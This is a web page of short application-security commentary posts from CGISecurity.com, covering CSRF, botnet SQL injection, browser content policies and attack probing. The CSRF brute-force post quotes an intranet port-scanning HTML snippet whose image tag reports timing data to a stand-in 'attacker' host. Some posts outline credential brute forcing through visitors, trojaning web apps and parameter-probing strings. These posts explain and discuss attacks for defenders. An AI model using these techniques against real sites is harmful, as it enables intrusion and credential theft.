Hosting generously provided by
|
|
About The Application Security Commentary Section
|
|
This new site section covers original commentary by
staff that doesn't quite fit into the , or
of this site. This is a new site section starting in late 2006.
|
|
|
|
Bots Use SQL Injection Tool in Web Attack and Rant
|
Posted 5/15/08 by Robert from the 'catching the public up to speed' department
"The Asprox botnet, a relatively small botnet known mainly for sending phishing emails, has been spotted in the last few days installing an SQL injection attack tool on its bots. The bots then Google for .asp pages with specific terms -- and then hit the sites found in the search return with SQL injection attacks, says Joe Stewart, director of malware research for SecureWorks, who has documented his findings on the attack.
Stewart says the Asprox botnet’s SQL injection attack is likely a copycat of the recent SQL injection Website attacks from China, which deliver a Trojan that steals online gaming passwords. But this is the first SQL injection attack Stewart has seen using a botnet and a toolkit to do the dirty work. Asprox so far has infected over 1,000 Websites this way, he says.
“I’ve seen bots get other types of infection tools, but not SQL injection” tools, Stewart says. “It’s almost like they noticed the Chinese[-based] attack and copied their code into their own binary for their own attack... The hacks are so similar to the way the other SQL injection attacks are going." - DarkReading
3-4 years ago when I worked at SPI Dynamics (now HP) two PoC tools had been created for internal security research. They didn't
do anything malicious just test the concept of using search engines to find hosts and test them for a sql error message.
These tools worked so well in finding 'suspect' hosts that while it was very cool/scary, we decided speaking about it to the
public was a bad idea. It was only going to have negative affects and we didn't want to be accountable for introducing this
extremely handy method to the attackers as we knew how large the problem was. 3-4 years later this is the 'new' toolkit
to have on the block. This makes me wonder what is being discovered now that we won't be hearing about for another few years.
This is hardly the last you'll be hearing about . (what newbies now call google hacking)
Article Link:
Link to this Story:
Link:
News RSS Feed: Web
|
|
|
|
Performing Distributed Brute Forcing of CSRF vulnerable login pages
|
Posted 12/10/07 by Robert
Update:
Apparently this is described in a paper by sensepost that I wasn't aware of. Check out there paper
at .
We know that is bad, and
that if your application is performing an important action to utilize a random token associated with the users session.
I started thinking a bit about CSRF and ,
Jeremiah Grossman's
and started thinking 'csrf'able login forms + timing attacks + intranet scanning methods = possibly pretty bad?'.
Timing attacks
The sensepost guys had a good talk at blackhat vegas this year on how they identified many websites having response differences
if the login was valid/invalid as well if the username was valid/invalid. For example logging in with a valid user
may take 200 milliseconds to receive a response whereas an invalid login may take on average 315 milliseconds before
receiving a response.
Intranet portscanning tricks
"Here's how its supposed to work... there are the two important lines of HTML:
HTML is hosted on an "attacker" control website.
<* link rel="stylesheet" type="text/css" href="http://192.168.1.100/" />
<* img src="http://attacker/check_time.pl?ip=192.168.1.100&start= epoch_timer" />
The LINK tag has the unique behavior of causing the browser (Firefox) to stop parsing the rest of the
web page until its HTTP request (for 192.168.1.100) has finished. The purpose of the IMG tag is as a timer
and data transport mechanism back to the attacker. One the web page is loaded, at some point in the future
a request is received by check_time.pl. By comparing the current epoch to the initial \x93epoch_timer\x94
value (when the web page was dynamically generated) its possible to tell if the host is up. If the time
difference is less than say 5 seconds then likely the host is up, if more, then the host is probably down
(browser waited for timeout).
Example (attacker web server logs)
/check_time.pl?ip=192.168.1.100&start=1164762276
Current epoch: 1164762279
(3 second delay) - Host is up
/check_time.pl?ip=192.168.1.100&start=1164762276
Current epoch: 1164762286
(10 second delay) - Host is down
" - Jeremiah 'I wish I was #1 on google when you typed in "Jeremiah"' Grossman
In Jeremiah's example it was a matter of seconds between hosts because offline hosts require a default browser
timeout value. His trick utilized the fact that browsers (this may depend on the browser) load resources in order
from top to bottom in order. With this piece of information and his trick calling an external resource, one may be
able to send requests to a login form via an image tag (or equivalent) and measure the response times
in a similar fashion using a logging script. Spread this across a few hundred websites and you have an
army of 'visitors' at your command.
* If I were to find a login form CSRF'able I may be able to identify a timing delay in a valid verses invalid login. This
would be in milliseconds and would vary from site to site.
* I could utilize the timing tricks outlined by Jeremiah to record initial request time and response time.
* I may be able to identify a valid set of credentials this way, or even just valid usernames.
* If I where to distribute code to this do over a few million page loads of random websites I could redirect
tens/hundreds of thousands of people to perform 1-2 credential brute force requests before a captcha is fired.
Considerations
* Login form supports GET (post *may* be possible)
* Each user would lag differently to the site in question, as well as the site containing the timer script
* You may need to logout the user beforehand sending the valid request which is pretty noticeable to the user
* Test requests would be required on a per user basis to establish reasonable timing thresholds for valid verses
invalid requests. Depending on the level of sophistication this may be pretty easy to detect.
* A large % of the users performing these requests may have totally random response times/not within a reasonable threshold.
* Not all CSRF'able login forms would be vulnerable or vulnerable enough to notice a timing delay
No I don't plan on making a POC for this as I don't see a POC bringing value. Yet another reason to
fix CSRF issues, and yet another use case.
Link to this Story:
Link:
News RSS Feed: Web
|
|
|
|
Browser Security: I Want A Website Active Content Policy File Standard!
|
Posted 11/27/07 by Robert from the out on a limb department
UPDATE
Before reading on any further I want to prefix that the purpose of this post is to begin
a discussion on the ways a website can communicate to a browser to instruct it of what its behavior should be on that
site. The example below is a "sample implementation" and isn't meant to be a proposal for a new standard (those things
are built by committees :). Such a concept isn't supposed to be a magic bullet and may not work for all/most sites
however when used in pieces could be 'one way' of hardening the site experience for the user.
Sites like Yahoo, MySpace, blogspot, LiveJournal and others allow their users by default to provide active
content in the form of html, images, movies, and in rare cases javascript. They also utilize third party
advertisers to serve up ads including flash based ads. From a security perspective running a site with this functionality
opens you up to:
- XSS and Script based attacks
- Drive by malware via ad network infection
- Inappropriate information gathering
- Inappropriate content (adult content, offtopic, etc)
The business may require some active content to execute either by the user, an advertiser, or a partner which
of course comes with many known risks. Unfortunately there is no way to say 'advertiser X can only do X on my domain'
or a way to prevent someone exploiting an xss hole from getting script to execute in the users browser. Here is where
a site Active Content Policy comes into play. Before diving into the guts here are the objectives of such a policy.
Objectives
- Restrict active content executed from domains other than the current domain
- Inform the browser which domains should be serving up which type of content and to ignore others
- Inform the browser of allowed execution behaviors for that domain
The policy will only control execution behavior for that domain. If for example a.com referenced flash.com and
b.com also referenced it, a.com could state what flash.com can and can't do when the ad is served on a.com. A separate policy
may or may not exist for b.com and in no way would conflict with other sites utilizing flash.com. Below is an example of what
such a policy may look like.
File Location: http://site.tld/activecontentpolicy.xml
Sample Active Content Policy File v0.1
<all>http://*.site.tld</all> // Allow all types of content from specified host
<script>https://foo.advertiser.tld</script> // JavaScript/VBScript/etc...
<flash>http://somesite.tld</flash> //Allow flash
<css>http://somecsssite.tld</css> //Allow cascading style sheets
<movie>http://moviehoster.tld</movie> //Allow movies to be served
<image>http://*.host.tld:8080/</image> //Allow images to only be served from specified domain
<applet></applet>
<activex></activex>
<silverlight></silverlight>
<other></other> //Other web technologies
In addition to specification on a per technology basis you may also have tag attributes specifying the way the browser should behave.
Sample Tag Properties/Attributes
* allowoffsiterequests=bool
Specifies if HTTP requests can be made to any domain. This would include image tags, frames/iframes, or any other tag performing
a GET or POST action. An advantage here is that you can lockdown the types of information being sent to a third party such as
cookies, browser stats, etc... Transfer can still happen via a proxy or middleware script relaying this information off.
* allowajax=bool
Specifies if ajax/xmlhttp can be utilized
?FUTURE?
* Allowcontentscripting
For movies allowing scripting as part of the standard. This could allow the site owner to inform the browser not to execute
any script contained within the content. Currently not possible without tweaks in the way plugins interact with the browser. More
of a future suggestion to show the possibilities/where I'm going with this rant.
Sample policy utilizing attributes
<all allowoffsiterequests="false" allowcontentscripting="false">http://*.site.tld</all> // Allow requests to the same site, allow script to execute on the same site, but do not allow the javascript on *.site.tld to generate requests off domain.
<script>http://googleanalytics.com</scriptinclude> // Allow any script from "the google"
<movie allowoffsiterequests="false">http://host</movieinclude> // Allow movies to be served but not to spawn requests to a site for supported formats
Advantages
- Central control by security organization/business for what is and isn't allowed.
- If malicious content is somehow inserted into the site, advertiser or other content domain access rights are restricted
- Tags are optional, attributes are optional. Very granular allowing for flexible business requirements.
- Allows some active content to execute on a website while disallowing others. Much better than disallowing all!
- Extensible to future attributes/properties and technologies
- Doesn't require technical user knowledge of allowing or disallowing a domain with noscript. Those users can still function with no change.
- Separation of privileges from business layer logic.
Disadvantages
- For sites allowing many providers maintaining a whitelist may be a challenge
Where this won't help:
- Persistent XSS where the entire payload is contained. This may help in preventing the transfer of content offsite.
The primary motivation for this rant post is to get the industry to start talking about practical ways to reduce
risk on the broken web and ask why don't we have something like this/better already?
Pretend for a moment that this browser technology exists and is available in at least 1 major browser (don't focus on adoption).
What are the pros/cons of such a technology and what comes close currently? Hop on irc.freenode.net #webappsec to discuss such
initiatives.
Post your comments
.
Link to this Story:
Link:
News RSS Feed: Web
|
|
|
|
Cenzic Patents the obvious: Fault Injection!
|
Posted 06/18/07 by Robert
I monitor google news for anything application security related and found the following announced today by Cenzic.
"the U.S. Patent and Trademark Office (PTO) has issued the company U.S. Patent No. , focused on fault injection technology, which is commonly used by most security assessment scanners." - Cenzic
Cenzic is not the first application security scanner for starters so there is plenty of prior art already out there. I'm not sure
how they are going to enforce their patent exactly. Reading further along
"We are very pleased to receive this patent, which protects Cenzic's role as the only company that has patents on Fault
Injection, a key component of all application security testing solutions. In the upcoming weeks, we'll be looking at other
vendors in this space to understand the implications of this patent vis-à-vis the methodology used by these other
players."
I wish cenzic luck in trying to bully errr identify the implications of other vendors. If any vendor here is reading this be
sure to check out Web bandit written by Global Hell Circa 1998. I don't recall the link but it is available online somewhere. Here is
an abstract of the patent.
"A method of testing a target in a network by fault injection, includes: defining a transaction baseline; modifying at least one of an order and a structure of the transaction baseline to obtain a modified transaction with malformed grammar; and transmitting the modified transaction to a target. The method may further include, receiving a feedback from the target to determine fault occurrence. An apparatus for testing a target in a network by fault injection, includes: a driver configured to generate patterns, where a pattern can generate a plurality of packets for transmission to the target, the pattern being represented by an expression with a literal string and a wild character class; and a network interface coupled to the driver and configured to transmit and receive network traffic. "
Under this patent QA tools would be in violation of this as well.
More information at the full patent text link below. All I can say is UGH. (Pokes his eye out)
Patent Full text:
Press Release Link:
Link to this Story:
Link:
News RSS Feed: Web
|
|
|
|
5 Ways People Screw Up AJAX
|
Posted 05/08/07 By Robert
I had noticed that not many articles existed on the negative aspects/implementation of ajax so came up with
this top 5 list of things people screw up when using ajax.
1. No back button!:
One of the most annoying things to a user is the inability to go backwards. They may visit a site,
perform a few searches and want to go back 2 searches before. Some sites utilizing ajax make the
simple task of going back extremely difficult and end up bringing the user back to the initial page
they clicked on to go to the site function, thereby removing the user's history.
2. No more links:
As mentioned in item 4 if people can't find your site or a specific section of it you'll lose traffic.
Poor implementations fetching all content dynamically via ajax requests do not allow the user to
get a web link they can forward along or bookmark.
3. Over complication when it isn't needed
As with other technologies things can get more complicated than is really needed and people can get excited
when a new technology comes out. Do you really need to ajaxify your contact form?
4. Removing site indexability:
Depending on how your dynamic content is implemented web spiders may have a hard time finding all of the content
available on your site. This can happen when content is stored in a DB only accessible via AJAX and web service calls.
If a crawler can't obtain your content, how are users supposed to find it?
5. Web Server connections increase:
One of the advantages is that ajax receives tiny responses when compared to large responses typically
associated with classic web browsing. While this may reduce some bandwidth it may also fill up web server
max connections and require a retweaking of your server, or worst case throwing in more hardware when
implemented poorly. I'm not stating this is the case for most ajax implementations by any means, however
more requests (either via polling or direct user requests) equals more connections on average per user which
depending on your userbase can really add up.
Link to this Story:
Link:
News RSS Feed: Web
|
|
|
|
02/25/2007 Cross-site Request Forgery and Blackhat SEO
|
I research whitehat and blackhat SEO in my spare time (however not on this domain :), and
was thinking about some additional uses for from the blackhat SEO perspective.
* Publishing/Spamming links: People spamming forums with links is nothing new. By utilizing on the otherhand
you could force a website user base (either by embedding it into your site html directly, or by utilizing
an )
to submit forms with your url without their knowledge using the img javascript trick (as described about
in the .
* Redirectors: Search engines and sites displaying a sites rank (blogs, top sites community, top referers/incoming site links, etc...)
count the number of times a specific url is clicked or visited. As described above if you can
get the user to visit the site via CSRF, then you can potentially influence these counters
using unique hostnames/sessions (if logged in already). I suspect this will start becoming
a real issue within the next year. One of the issues with CSRF is that the referer is typically
sent to the target site. These can be easily hidden by utilizing an open relay issue
on a totally non related site. This will make that site show up in the referers instead
of the site containing the CSRF payload.
CSRF is where Cross site scripting was 5 years ago and new and more interesting uses are going to
keep being discovered. This vuln is in it for the long haul.
Link to this Story:
Link:
News RSS Feed: Web
|
|
|
|
12/29/2006 Backdooring UIML's and Existing JavaScript Applications
|
One of the more interesting aspects of so called 'Rich Internet Applications' involves such as (By Mozilla, been around awhile) and /XBAP (.NET 3.0 the new kid on the block).
Essentially these languages allow you to 'paint' buttons, menubars, grids, forms, messageboxes, and other GUI
components associated with HTML and Forms UI (including progress meters) by specifying certain XML tags. The
goal is to quickly develop applications using XML, and then using backend code to perform a function (usually
written in JavaScript or .NET).
If you're reading this you're probably interested in attacking these sorts of applications, same here! Ok we
know everything is xssable but how can impact a UIML based application? One example would be to find a
website using this type of technology and find an in it. Ok so far this is pretty standard however
instead of actively attacking the UIML application directly lets instead make a copy of it and sniff its usage
thereby making a 'trojaned' copy. If you can utilize an existing you can create a new link to your own
copy of the based (externally
hosted or with the trick)
application which essentially sniffs what the user is doing before performing the action (You record
everything they do, then perform the actual duties). Javascript does not support overloading however does allow
you to define a method twice, and the second declaration will win. If you can after the JS inclusion
(which is often the case) you can override it.
Much like an existing website a UIML application may perform a transaction or a duty containing sensitive user information
requiring a login first. If you emulate the application you will have the ability to know when the user has logged in and
once you can identify this, perform whatever duty it is that you want to do. While writing this news entry a paper
came to my attention discussing backdooring Ajax applications that was released during the CCC conference. Be
.
UPDATE:
Here are some sample UIML applications so you have an idea of exactly what I'm talking about.
XUL: (Mozilla Only)
WPF/XBAP: (.NET 3.0 Beta must be installed!)(IE Only)
WPF/XBAP/XAML: (.NET 3.0 Beta must be installed!)(IE Only)
WPF/XBAP : (Same req as above)
Link to this Story:
Link:
News RSS Feed: Web
|
|
|
|
12/28/2006 Wikipedia's search engine will spell trouble for the SEO market
|
Wikipedia's founder has announced a search engine allowing users to control the search results in a way similar to how digg works.
I dabble in Search Engine Optimization (SEO) and I expect a huge shift if the other major search engines such as google and yahoo adopt similar models.
Typically people will improve their rankings by getting more sites to link to them and by page layout, however allowing a human to rank
a site against a given term is going to make these sorts of traditional SEO methods less relevant. This will cause SEO companies
to start paying for people's 'ranks' much like how people pay for digg's, or how people are paid to click on ads. Additional
information on wikipedia search engine can be found below. Somehow I suspect those sites with a lack of quality content that have deep pockets
are going to be the people to win the rank wars. Oh and did I mention amazon is backing them?
Link to this Story:
Article Link:
Link:
News RSS Feed: Web
|
|
|
|
12/21/2006 The lack of security enabled frameworks is why we're vulnerable
|
We've been stating for years 'developers need to learn to code securely' sure this is great, however is
essentially limited to skilled professionals. This isn't to say we shouldn't keep teaching however rather
than simply focusing on those paying attention we should start babysitting the remaining majority.
So how do you watch what a developer is doing? One of the things that needs to happen is to build better
libraries and frameworks (yes this statement sounds very marketechture but bear with me). Java stopped
the overflow issues (minus specific VM issues), and Microsoft's .NET has followed in Java's tracks and
done the same. Microsoft's .NET has also done one better and made development of vulnerable ASP.NET web
applications harder. ASP.NET detects if html is being taken in a user modifiable input, and if this input
is echoed checks to see if HTML has been injected. If it detects
(usually an ) it
prevents the application from behaving 'vulnerably' by halting it's execution, and displaying a warning message.
I always
hear the argument 'people who write applications vulnerable to buffer overflows, sql injection or cross site
scripting shouldn't be writing code!' and its a nice fantasy! New people are always learning to code, being put
into situations to develop things maybe they shouldn't be and this isn't going to ever stop. The majority of
skilled developers start out the same way and faulting them for 'learning the ropes' is just plain stupid.
We need to start hand holding what developers are doing by preventing them (by default) from making common
security mistakes. Just as important we need to provide overrides for those who 'know what their doing',
because hindering application development isn't going to fly. As mentioned above Java
and Microsoft's . NET Framework allow you to write unmanaged code if there's a need, however by default
manages it to prevent those darn buffer overflows from 'magically appearing'.
Link to this Story:
Link:
News RSS Feed: Web
|
|
|
|
12/14/2006 Application Security Predictions of 2007
|
Ok I know I'm a little early but here's my yearly list of application security predictions. Admittedly I may be a year or two early on a few
of them, however read them over and give them some thought. - Robert (admin@cgisecurity.com)
Rich Internet Applications (RIA) .net 3.0 WPF and Adobe Flex
The next big buzzword is going to be
(RIA) even if you don't like it. We haven't seen the end
of thick client side applications as Microsoft (in ), mozilla's () and Adobe () are going to show us. These RIA
applications are going to change the way we use the web there's no doubt, and I'm not just jumping on the hype
wagon early. Users will begin to see these applications appear, get used to them and expect them to some extent.
RIA is the next AJAX (Double meaning implied :).
XSS, Phishing and Worms will continue
isn't going
away and as a matter of fact is only becoming more and more useful. Worms crossing over to handheld devices wouldn't be
surprising. Even worms borrowing CPU cycles to perform a task in a similar fashion to applications like SETI and
distributed.net wouldn't be to surprising. Attacking larger communities involving banking transactions with both phishing
and utilizing CSRF will begin
which is a nice segway to my next prediction.
Cross Site Request Forgery Will emerge
is in its infancy and is now
what XSS was 4 years ago. The power of will become apparent once the first site exploited for financial gain reaches
the media. Once money theft becomes involved expect regulatory changes including possible compliance guideline changes.
Frankly I'm beyond surprised that a web worm hasn't taken advantage of this already.
Web Feed Exploits
I about and included it in my list of 2006 predictions (so I had a little inside knowledge big whoop :). Since that
talk multiple advisories have been published and people are slowly starting to catch onto the things that you can do with including how they are used. Expect more from this area as well as a potential worm.
The Browser History Theft Business
As it is possible for a
marketer/attacker/person to identify which websites that you've visited, how you got there, and which pages you visited on
that website by exploiting functionality in CSS. This can be used by phishers
to see which sites you frequent to identify which website they should be phishing next. Expect to hear more about this
in the upcoming year. Read
for more information on what can be done.
Last Years Predictions:
Link to this Story:
Link:
News RSS Feed: Web
|
|
|
|
11/16/06 Attacking Permalinks
|
Everyone has seen urls such as http://site/2006/02/02 and you know that there's an application
in the backend somewhere but figuring out how to attack those urls can be tricky. A few of you
have probably tried attacking them by sending requests such as http://site/2006'>/02/02 and received
a 404 page. I started
thinking about this in conjunction with parameter identification. As an example you may be able to
append things such as 'script.php?admin=true' and yield hidden administrative access (the classic example).
Essentially you're appending a parameter and receiving a different application behavior. So I started to
think 'in a url such as /2006/02/02 the '2006' portion states the year, what are some common year parameter
names?'. I came up with 'y' and 'year'. The way that permalink url rewriting works is that your request for
/2006/02/02 gets rewritten by the webserver and may be sent to a backend script such as
'index.php?year=2006&month=02&day=02'.
Knowing that permalink internal rewrites use standard parameters, and
knowing that 2006 is a year I started tinkering around and sending requests such as
http://site/2006/02/02?year=-1. Now if the parameter isn't used the same page will be served, however if the
response is different, then the application has processed your additional appended parameter. When you
append the 'year' parameter to the permalink the internal redirection will appear as
'index.php?year=2006&month=02&day=02&year=-1'. Many applications will merge both parameters and combine the data
within them (concatenation) before the data is processed. The order of the merge of course may vary
(in this case '-12006' vs '2006-1') so ease of exploitation of a potential vuln may vary from application/framework.
In a nutshell you append additional 'guessed' parameters based off of the data format between the // and
if the application acts differently, then you now have a vector exposed for security testing purposes.
PS: If you haven't noticed I use permalinks however use mod_rewrite redirects to static files, so don't bother poking around :)
Link to this Story:
Link:
News RSS Feed: Web
|
|
|
|
10/11/06 Top 5 signs you've selected a bad web application package
|
5. The vendor's idea of a patch process involves you editing line X and replacing it with new code
4. The amount of total downloads is less than the application's age
3. It isn't running on the vendors homepage
2. The readme file states that you need to chmod a certain file or directory to 777 in order for it to work
1. If the application name contains 'nuke' in it, you're pretty much screwed.
Link to this Story:
Link:
News RSS Feed: Web
|
|
|
Information contained on this website may not be copied without explicit permission.
Best Viewed with Netscape.
|
|
|
Subscribe to CGISecurity.com
|
|
|
|
|
|
The Web Security Mailing List
|
|
|
|
|
Contact us
|
Post News, get linkage!
|
|
|
|
